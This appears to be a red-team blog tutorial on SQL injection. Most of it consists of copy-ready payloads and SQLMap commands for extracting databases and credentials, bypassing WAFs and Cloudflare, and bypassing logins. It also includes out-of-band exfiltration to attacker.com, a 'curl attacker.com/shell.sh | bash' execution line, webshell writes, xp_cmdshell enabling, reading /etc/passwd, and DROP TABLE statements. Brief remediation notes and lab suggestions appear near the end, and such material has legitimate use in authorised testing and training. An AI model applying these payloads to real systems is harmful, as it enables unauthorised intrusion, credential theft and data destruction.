SQL injection has been on the OWASP Top 10 since the list started. In 2026, it still breaks real systems. Poorly sanitized inputs, legacy codebases, ORM misconfigurations — the attack surface hasn’t gone away. If anything, the rise of AI-generated code has introduced new classes of injection bugs.
This guide covers everything: how SQLi works, how to detect it, how to exploit it across all major categories, how to weaponize SQLMap, and how to bypass WAFs when they’re in the way.
What Is SQL Injection?
SQL injection happens when user-supplied input gets incorporated into a database query without proper sanitization or parameterization. The attacker’s input changes the query’s logic — extracting data, bypassing authentication, or executing commands.
Classic example:
-- Application query
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
-- Attacker input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
-- Returns all users. Login bypassed.
This pattern — input escaping query boundaries — is the core of every SQLi variant.
Reconnaissance: Finding Injection Points
Before throwing payloads, map the attack surface.
Where to look:
- URL parameters:
?id=1,?category=news,?page=about - POST body fields: login forms, search boxes, registration forms
- HTTP headers:
User-Agent,X-Forwarded-For,Cookie,Referer - JSON/XML body: REST APIs with structured input
- GraphQL queries: variable injection, query manipulation
Manual detection:
Start with characters that break SQL syntax:
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' AND 1=2--
1; SELECT SLEEP(5)--
Watch for:
- Error messages — database errors indicate injection (MySQL, MSSQL, Oracle, PostgreSQL all have distinct error formats)
- Changed output — extra rows, different data
- Time delays — confirms blind time-based injection
- Generic error pages — may indicate error suppression, not absence of SQLi
Boolean-based detection:
Two requests that should behave identically:
?id=1' AND 1=1-- → normal response (condition true)
?id=1' AND 1=2-- → different response (condition false)
If the responses differ — you have boolean-based SQLi.
SQLi Categories
1. In-Band: UNION-Based
The most direct exploitation path. You inject a UNION SELECT to append rows to the query’s result and see them in the response.
Step 1: Determine column count
-- Order by until error
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3-- ← error here = 2 columns
Or use NULL enumeration:
?id=1 UNION SELECT NULL--
?id=1 UNION SELECT NULL,NULL--
?id=1 UNION SELECT NULL,NULL,NULL-- ← no error = 3 columns
Step 2: Find printable columns
?id=1 UNION SELECT 'a',NULL,NULL--
?id=1 UNION SELECT NULL,'a',NULL--
?id=1 UNION SELECT NULL,NULL,'a'--
The column that shows a in the response is where you inject.
Step 3: Extract data (MySQL)
-- Database version
?id=0 UNION SELECT NULL,version(),NULL--
-- Current database
?id=0 UNION SELECT NULL,database(),NULL--
-- List databases
?id=0 UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--
-- List tables
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--
-- List columns
?id=0 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- Extract credentials
?id=0 UNION SELECT NULL,concat(username,':',password),NULL FROM users--
Database-specific syntax:
| DB | Version query | String concat |
|---|---|---|
| MySQL | SELECT @@version | concat(a,b) |
| MSSQL | SELECT @@version | a+b |
| PostgreSQL | SELECT version() | a||b |
| Oracle | SELECT * FROM v$version | a||b |
| SQLite | SELECT sqlite_version() | a||b |
2. In-Band: Error-Based
When the application echoes database errors, you can extract data through them.
MySQL — ExtractValue:
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
MySQL — UpdateXML:
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
MSSQL — Convert error:
' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
PostgreSQL — Cast error:
' AND cast((SELECT version()) as int)=1--
3. Blind: Boolean-Based
No data in the response — but you can infer data character by character based on true/false conditions.
Concept:
-- Is the first character of the database name 'a'?
?id=1' AND SUBSTRING(database(),1,1)='a'--
If the page responds normally → true. If it’s different → false. Iterate character by character.
Character extraction loop (manual logic):
-- Position 1 of database name, ASCII comparison
?id=1' AND ASCII(SUBSTRING(database(),1,1))>90--
?id=1' AND ASCII(SUBSTRING(database(),1,1))>100--
?id=1' AND ASCII(SUBSTRING(database(),1,1))=115-- ← 's' = 115
This is tedious manually. Use SQLMap for automation (see below).
PostgreSQL blind:
?id=1' AND SUBSTRING((SELECT current_database()),1,1)='s'--
MSSQL blind:
?id=1' AND SUBSTRING((SELECT DB_NAME()),1,1)='s'--
4. Blind: Time-Based
No response difference at all — but you can trigger time delays to confirm injection and extract data.
MySQL — SLEEP:
?id=1' AND SLEEP(5)-- ← 5 second delay
?id=1' AND IF(1=1,SLEEP(5),0)-- ← conditional delay
?id=1' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)-- ← data extraction
MSSQL — WAITFOR:
?id=1'; WAITFOR DELAY '0:0:5'--
?id=1'; IF (SUBSTRING(DB_NAME(),1,1)='s') WAITFOR DELAY '0:0:5'--
PostgreSQL — pg_sleep:
?id=1'; SELECT pg_sleep(5)--
?id=1' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL--
Oracle — DBMS_PIPE:
?id=1'; exec dbms_pipe.receive_message(('a'),5)--
5. Out-of-Band (OOB)
When blind injection exists but the app is too slow or inconsistent for time-based, OOB exfiltrates data through DNS or HTTP.
MySQL — DNS via LOAD_FILE:
Requires FILE privilege and secure_file_priv setting permissive.
?id=1' AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\x'))--
Watch your DNS server (or use Burp Collaborator/interactsh) for the lookup.
MSSQL — xp_dirtree:
?id=1'; exec master..xp_dirtree '\\attacker.com\x'--
Oracle — UTL_HTTP:
?id=1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Practical OOB setup:
Use interactsh (open source Burp Collaborator alternative):
# Run interactsh server
interactsh-server
# Or use the hosted version via CLI
interactsh-client
# Get your unique URL: xxxx.oast.fun
SQLMap: The Automation Weapon
SQLMap handles detection, exploitation, and data extraction automatically. Know it cold.
Installation
# Kali/Parrot — already installed
sqlmap --version
# From source
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap && python3 sqlmap.py --version
Basic Usage
# Simple GET parameter test
sqlmap -u "https://target.com/page?id=1"
# POST request
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
# Test specific parameter
sqlmap -u "https://target.com/page?id=1&cat=2" -p id
# From Burp saved request file
sqlmap -r request.txt
Essential Flags
# Database enumeration
sqlmap -u "https://target.com/?id=1" --dbs # list databases
sqlmap -u "https://target.com/?id=1" -D target_db --tables # list tables
sqlmap -u "https://target.com/?id=1" -D target_db -T users --columns # list columns
sqlmap -u "https://target.com/?id=1" -D target_db -T users -C username,password --dump # dump data
# Increase detection aggressiveness
sqlmap -u "https://target.com/?id=1" --level=5 --risk=3
# Specify DB type (speeds up)
sqlmap -u "https://target.com/?id=1" --dbms=mysql
# Attempt OS shell (if stacked queries + write priv)
sqlmap -u "https://target.com/?id=1" --os-shell
# Read files
sqlmap -u "https://target.com/?id=1" --file-read="/etc/passwd"
# Write files (MySQL + FILE privilege)
sqlmap -u "https://target.com/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Set cookies (authenticated sessions)
sqlmap -u "https://target.com/?id=1" --cookie="PHPSESSID=abcdef123456"
# Custom headers
sqlmap -u "https://target.com/?id=1" -H "X-Forwarded-For: 127.0.0.1"
# Bypass 403/rate limiting — randomize user agent
sqlmap -u "https://target.com/?id=1" --random-agent
# Threads (faster)
sqlmap -u "https://target.com/?id=1" --threads=10
# Verbose output (see payloads)
sqlmap -u "https://target.com/?id=1" -v 3
# Batch mode (no prompts)
sqlmap -u "https://target.com/?id=1" --batch
Testing HTTP Headers
Some of the best injection points are in headers:
# User-Agent injection
sqlmap -u "https://target.com/" --level=3 # level 3+ tests headers
# Cookie injection
sqlmap -u "https://target.com/" --cookie="id=1*" # * marks injection point
# X-Forwarded-For (logging injection)
sqlmap -u "https://target.com/" -H "X-Forwarded-For: 1*"
JSON/REST APIs
# JSON POST body
sqlmap -u "https://api.target.com/users" \
--data='{"id":"1","category":"news"}' \
--headers="Content-Type: application/json"
# REST path parameter (use *)
sqlmap -u "https://target.com/api/user/1*"
WAF Detection & Bypass
Web Application Firewalls block obvious payloads. Bypassing them is a core skill.
Detect WAF presence
# wafw00f — identifies WAF vendor
pip install wafw00f
wafw00f https://target.com
# SQLMap WAF identification
sqlmap -u "https://target.com/?id=1" --identify-waf
Core Bypass Techniques
1. Case variation:
' uNioN sElEcT null,null,null--
' UnIoN SeLeCt null,null,null--
2. Comment insertion:
' UN/**/ION SEL/**/ECT null,null--
' UNION/*!32302*/SELECT null,null--
3. URL encoding:
%27%20UNION%20SELECT%20null%2Cnull--
%27%20union%20select%20null%2Cnull--
4. Double URL encoding:
%2527 → %27 → '
%2520 → %20 → space
5. Unicode/hex encoding:
' /*!UNION*/ /*!SELECT*/ null,null--
0x53454c454354 -- hex for SELECT
6. Alternative whitespace:
-- Tab, newline, carriage return instead of space
'%09UNION%0ASELECT%0Dnull,null--
7. Scientific notation (MySQL):
1e0UNION SELECT null,null--
8. Inline comments as spacers:
'/**/UNION/**/SELECT/**/null,null--
SQLMap Tamper Scripts
SQLMap includes tamper scripts specifically for WAF bypass:
# Common tampers
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=randomcase
sqlmap -u "URL" --tamper=between
sqlmap -u "URL" --tamper=charencode # URL encode everything
sqlmap -u "URL" --tamper=chardoubleencode # Double URL encode
sqlmap -u "URL" --tamper=base64encode
sqlmap -u "URL" --tamper=equaltolike # = to LIKE
sqlmap -u "URL" --tamper=apostrophemask # ' to UTF-8 encoding
sqlmap -u "URL" --tamper=symboliclogical # AND/OR to && and ||
# Stack multiple tampers
sqlmap -u "URL" --tamper=randomcase,space2comment,between
# For ModSecurity specifically
sqlmap -u "URL" --tamper=modsecurityversioned
sqlmap -u "URL" --tamper=modsecurityzeroversioned
# List all available tampers
sqlmap --list-tampers
Cloudflare WAF Bypass Tips
Cloudflare is the most common WAF red teamers encounter:
- Slow down:
--delay=2between requests to avoid rate limiting - Randomize user agent:
--random-agent - Use chunked transfer: some WAFs inspect bodies differently
- Try out-of-band: DNS exfiltration often bypasses response-based WAF inspection
- Test from multiple IPs: rule-based blocks are often IP-scoped
Authentication Bypass via SQLi
Classic but still found in legacy apps, IoT devices, and VPN portals:
-- Username field payloads
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 'x'='x
') OR ('1'='1
admin' AND 1=1--
-- Bypass MD5-based login
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'--
-- (password hash of 'password')
Second-Order SQLi
The payload is stored, then executed later when another query uses it. Common in:
- Profile fields (username, bio, address)
- Notes/comments stored in DB
- Password reset flows
Example: Register with username admin'--. Later, a password change function queries:
UPDATE users SET password='$new' WHERE username='$username';
-- Becomes:
UPDATE users SET password='hacked' WHERE username='admin'--';
Detection: Store benign-looking payloads in fields, then trigger the secondary query (password change, profile view, etc.) and watch for errors or unexpected behavior.
Post-Exploitation: Reading Files & Shell Upload
If you have a high-privilege account and write access:
MySQL — Read files:
UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL--
MySQL — Write webshell:
UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
MSSQL — Command execution via xp_cmdshell:
'; EXEC xp_cmdshell 'whoami'--
-- If disabled:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
'; EXEC xp_cmdshell 'whoami'--
PostgreSQL — COPY TO/FROM:
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'--
Stacked Queries
Multiple SQL statements separated by ;. Supported by MSSQL, PostgreSQL, SQLite — not MySQL via PHP’s mysqli_query() (but MySQL via PDO sometimes allows it).
?id=1; DROP TABLE users--
?id=1; INSERT INTO admins VALUES('hacker','hacked')--
?id=1; UPDATE users SET password='hacked' WHERE username='admin'--
Stacked queries open up command execution paths on MSSQL and PostgreSQL.
Automation & Workflow
Full recon-to-dump workflow:
# Step 1: Identify and confirm
sqlmap -u "https://target.com/?id=1" --batch --dbs
# Step 2: Enumerate target DB
sqlmap -u "https://target.com/?id=1" --batch -D app_db --tables
# Step 3: Focus on high-value tables
sqlmap -u "https://target.com/?id=1" --batch -D app_db -T users,admins,credentials --dump
# Step 4: If WAF blocking — add tampers
sqlmap -u "https://target.com/?id=1" --batch --dbs \
--tamper=randomcase,space2comment \
--random-agent \
--delay=1 \
--level=5 --risk=2
Bug bounty automation:
# Find parameters with gf
echo "https://target.com" | waybackurls | gf sqli | tee sqli_candidates.txt
# Feed to SQLMap
sqlmap -m sqli_candidates.txt --batch --level=2 --risk=1 --dbs
Required tools: waybackurls, gf (tomnomnom), sqlmap
Practice Labs
SQLi is a skill that requires hands-on practice. The tools and theory only go so far.
| Platform | Cost | What you get |
|---|---|---|
| PortSwigger Web Security Academy | Free | Best SQLi labs — covers every technique |
| DVWA | Free | Self-hosted, beginner-friendly |
| HackTheBox | $14/mo | Real-world boxes, many with SQLi |
| TryHackMe | Free/paid | Guided SQLi rooms |
Want to run your own vulnerable lab? Spin up a VPS and deploy DVWA or bWAPP in Docker:
docker run -d -p 8080:80 vulnerables/web-dvwa
Vultr and DigitalOcean both have $6/month instances that work fine for this:
A cloud VPS gives you a clean, isolated environment you can blow away and rebuild without touching your home network.
Defensive Notes (for report writing)
When you find SQLi and need to document remediation:
- Parameterized queries / prepared statements — the only real fix. Not input sanitization, not escaping.
- ORM usage — still need parameterization; ORM doesn’t automatically protect against all injection
- Least privilege — DB user should not have
FILE,SUPER, orxp_cmdshellaccess - WAF as defense-in-depth — not a primary control; bypass is often trivial
- Error handling — never expose database errors to users; log server-side only
- Second-order awareness — stored data must be parameterized at read time too, not just write time
Quick Reference Cheat Sheet
| Technique | MySQL | MSSQL | PostgreSQL |
|---|---|---|---|
| Version | @@version | @@version | version() |
| Current DB | database() | DB_NAME() | current_database() |
| All DBs | information_schema.schemata | sys.databases | pg_database |
| Sleep | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) |
| String concat | concat(a,b) | a+b | a||b |
| Limit 1 row | LIMIT 1 | TOP 1 | LIMIT 1 |
| Comment | -- or # | -- | -- |
Wrapping Up
SQL injection is old. It’s also effective. Every red teamer needs to be able to manually detect, exploit, and chain SQLi — not just point SQLMap at a URL and hope.
The techniques here — UNION-based extraction, blind boolean/time-based, WAF bypass with tampers, stacked query execution — are what actually show up on real engagements. Know them.
If you’re building on this, the next step is web application pentesting methodology for the broader workflow SQLi fits into.
Need a professional pentest report that actually communicates SQLi findings to stakeholders? CipherWrite handles technical writing for security professionals — from PoC documentation to executive summaries.
